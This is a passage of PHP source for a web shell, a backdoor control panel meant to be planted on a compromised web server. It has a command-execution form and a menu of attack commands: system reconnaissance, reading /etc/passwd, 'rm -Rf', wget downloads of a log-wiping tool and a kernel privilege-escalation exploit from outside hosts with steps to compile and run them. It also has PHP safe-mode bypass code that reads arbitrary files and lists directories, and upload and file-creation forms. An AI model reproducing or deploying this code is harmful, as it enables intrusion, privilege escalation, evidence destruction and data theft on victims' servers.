2945 "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", 
2946 "ext_mp3"=> 
2947 "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". 
2948 "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". 
2949 "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", 
2950 "ext_avi"=> 
2951 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". 
2952 "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". 
2953 "PYXCyg+V2i44XeRmSfYqsGhAAgA7", 
2954 "ext_cgi"=> 
2955 "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". 
2956 "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". 
2957 "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". 
2958 "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". 
2959 "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2960 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2961 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2962 "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". 
2963 "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". 
2964 "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". 
2965 "RYtMAgEAOw==", 
2966 "ext_cmd"=> 
2967 "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". 
2968 "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". 
2969 "dmrYAMn1onq/YKpjvEgAADs=", 
2970 "ext_cpp"=> 
2971 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". 
2972 "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". 
2973 "Eq7YrLDE7a4SADs=", 
2974 "ext_ini"=> 
2975 "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". 
2976 "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". 
2977 "SnEjgPVarHEHgrB43JvszsQEADs=", 
2978 "ext_diz"=> 
2979 "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". 
2980 "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". 
2981 "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". 
2982 "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". 
2983 "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". 
2984 "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". 
2985 "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". 
2986 "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". 
2987 "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2988 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2989 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2990 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2991 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2992 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
2993 "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". 
2994 "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". 
2995 "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". 
2996 "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". 
2997 "Ow==", 
2998 "ext_doc"=> 
2999 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". 
3000 "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". 
3001 "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", 
3002 "ext_exe"=> 
3003 "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". 
3004 "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". 
3005 "xhIAOw==", 
3006 "ext_h"=> 
3007 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". 
3008 "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". 
3009 "Wq/NknbbSgAAOw==", 
3010 "ext_hpp"=> 
3011 "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". 
3012 "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". 
3013 "UqUagnbLdZa+YFcCADs=", 
3014 "ext_htaccess"=> 
3015 "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". 
3016 "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". 
3017 "AAA7", 
3018 "ext_html"=> 
3019 "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". 
3020 "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". 
3021 "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". 
3022 "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". 
3023 "ADs=", 
3024 "ext_jpg"=> 
3025 "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". 
3026 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". 
3027 "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". 
3028 "FxEAOw==", 
3029 "ext_js"=> 
3030 "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". 
3031 "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". 
3032 "a00AjYYBbc/o9HjNniUAADs=", 
3033 "ext_lnk"=> 
3034 "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". 
3035 "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". 
3036 "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". 
3037 "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". 
3038 "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". 
3039 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
3040 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
3041 "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". 
3042 "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". 
3043 "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". 
3044 "ADs=", 
3045 "ext_log"=> 
3046 "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". 
3047 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". 
3048 "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", 
3049 "ext_php"=> 
3050 "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". 
3051 "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", 
3052 "ext_pl"=> 
3053 "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". 
3054 "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", 
3055 "ext_swf"=> 
3056 "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". 
3057 "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". 
3058 "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". 
3059 "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". 
3060 "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", 
3061 "ext_tar"=> 
3062 "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". 
3063 "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". 
3064 "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". 
3065 "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". 
3066 "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
3067 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
3068 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
3069 "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". 
3070 "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". 
3071 "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". 
3072 "u4tLAgEAOw==", 
3073 "ext_txt"=> 
3074 "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". 
3075 "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". 
3076 "UpPWG3Ig6Hq/XmRjuZwkAAA7", 
3077 "ext_wri"=> 
3078 "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". 
3079 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". 
3080 "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", 
3081 "ext_xml"=> 
3082 "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". 
3083 "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 
3084 "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". 
3085 "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". 
3086 "IQA7" 
3087  ); 
3088  //For simple size- and speed-optimization. 
3089  $imgequals = array( 
3090   "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), 
3091   "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), 
3092   "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), 
3093   "ext_html"=>array("ext_html","ext_htm"), 
3094   "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), 
3095   "ext_lnk"=>array("ext_lnk","ext_url"), 
3096   "ext_ini"=>array("ext_ini","ext_css","ext_inf"), 
3097   "ext_doc"=>array("ext_doc","ext_dot"), 
3098   "ext_js"=>array("ext_js","ext_vbs"), 
3099   "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), 
3100   "ext_wri"=>array("ext_wri","ext_rtf"), 
3101   "ext_swf"=>array("ext_swf","ext_fla"), 
3102   "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), 
3103   "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") 
3104  ); 
3105  if (!$getall) 
3106  { 
3107   header("Content-type: image/gif"); 
3108   header("Cache-control: public"); 
3109   header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); 
3110   header("Cache-control: max-age=".(60*60*24*7)); 
3111   header("Last-Modified: ".date("r",filemtime(__FILE__))); 
3112   foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} 
3113   if (empty($images[$img])) {$img = "small_unk";} 
3114   if (in_array($img,$ext_tar)) {$img = "ext_tar";} 
3115   echo base64_decode($images[$img]); 
3116  } 
3117  else 
3118  { 
3119   foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} 
3120   natsort($images); 
3121   $k = array_keys($images); 
3122   echo  "<center>"; 
3123   foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} 
3124   echo "</center>"; 
3125  } 
3126  exit; 
3127 } 
3128 if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by EGY-MaF!4.<br>Greats To All members of A.A.T.<br>Thanks all who report bugs.<br>Msn : v4r@w.cn<a href=\"mailto:v4r@w.cn\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";} 
3129 ?> 
3130 </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> 
3131 <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> 
3132 <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> 
3133 <br> 
3134 <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> 
3135 <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks <img src="/wp-includes/images/smilies/icon_biggrin.gif" alt=":D" class="wp-smiley" /> </b></a> ::</b></p></td></tr> 
3136 <tr> 
3137   <td width="50%" height="83" valign="top"><center> 
3138     <div align="center">Useful Commands  
3139     </div> 
3140     <form action="<?php echo $surl; ?>"> 
3141       <div align="center"> 
3142         <input type=hidden name=act value="cmd"> 
3143         <input type=hidden name="d" value="<?php echo $dispd; ?>"> 
3144           <SELECT NAME="cmd"> 
3145             <OPTION VALUE="uname -a">Kernel version 
3146               <OPTION VALUE="w">Logged in users 
3147                 <OPTION VALUE="lastlog">Last to connect 
3148                   <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins 
3149                     <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! 
3150                     <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? 
3151                     <OPTION VALUE="which wget curl w3m lynx">Downloaders? 
3152                     <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO 
3153                     <OPTION VALUE="netstat -atup | grep IST">Open ports 
3154                     <OPTION VALUE="locate gcc">gcc installed? 
3155                     <OPTION VALUE="rm -Rf">Format box (DANGEROUS) 
3156                     <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) 
3157                     <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 
3158                     <OPTION VALUE="./zap2">WIPELOGS PT3 
3159                     <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) 
3160                     <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) 
3161                     <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) 
3162                     <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) 
3163                     <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) 
3164                     <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) 
3165                   </SELECT> 
3166         <input type=hidden name="cmd_txt" value="1"> 
3167         &nbsp; 
3168         <input type=submit name=submit value="Execute"> 
3169           <br> 
3170         Warning. Kernel may be alerted using higher levels </div> 
3171     </form> 
3172     </td> 
3173   <td width="50%" height="83" valign="top"><center> 
3174    <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> 
3175       <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>"> 
3176       <input type="hidden" name="client" value="firefox-a"> 
3177       <input type="hidden" name="rls" value="org.mozilla:en-US:official"> 
3178       <input type="hidden" name="hl" value="en"> 
3179       <input type="hidden" name="hs" value="b7p"> 
3180       <input type=submit name="btnG" VALUE="Search"> 
3181     </form></center> 
3182     </td> 
3183 </tr></TABLE><br> 
3184 <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> 
3185 <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks <img src="/wp-includes/images/smilies/icon_biggrin.gif" alt=":D" class="wp-smiley" /> </b></a> ::</b></p></td></tr> 
3186 <tr> 
3187   <td width="50%" height="83" valign="top"><center> 
3188     <div align="center">Php Safe-Mode Bypass (Read Files) 
3189     </div><br> 
3190     <form action="<?php echo $surl; ?>"> 
3191       <div align="center"> 
3192       File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> 
3193        
3194        
3195        
3196             
3197        
3198        
3199       <? 
3200        
3201       function rsg_read()
3202     {    
3203     $test="";
3204     $temp=tempnam($test, "cx");
3205     $file=$_GET['file'];    
3206     $get=htmlspecialchars($file);
3207     echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>";
3208     if(copy("compress.zlib://".$file, $temp)){
3209     $fichier = fopen($temp, "r");
3210     $action = fread($fichier, filesize($temp));
3211     fclose($fichier);
3212     $source=htmlspecialchars($action);
3213     echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>";
3214     unlink($temp);
3215     } else {
3216     die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
3217     <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
3218     access.</CENTER></FONT>");
3219             }
3220     echo "</div>";
3221     } 
3222      
3223     if(isset($_GET['file']))
3224 {
3225 rsg_read();
3226 } 
3227      
3228     ?> 
3229      
3230     <? 
3231      
3232     function rsg_glob()
3233 {
3234 $chemin=$_GET['directory'];
3235 $files = glob("$chemin*");
3236 echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>";
3237 foreach ($files as $filename) {
3238     echo "<pre>";
3239    echo "$filename\n";
3240    echo "</pre>";
3241 }
3242 } 
3243 if(isset($_GET['directory']))
3244 {
3245 rsg_glob();
3246 } 
3247 ?> 
3248          <br> 
3249       </div> 
3250     </form> 
3251     </td> 
3252   <td width="50%" height="83" valign="top"><center> 
3253    <center>Php Safe-Mode Bypass (List Directories):     <form action="<?php echo $surl; ?>"> 
3254       <div align="center"><br> 
3255       Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> 
3256     </form></center> 
3257     </td> 
3258 </tr></TABLE><br> 
3259 <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1> 
3260 <tr> 
3261  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> 
3262  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> 
3263 </tr> 
3264 </table> 
3265 <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> 
3266 <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> 
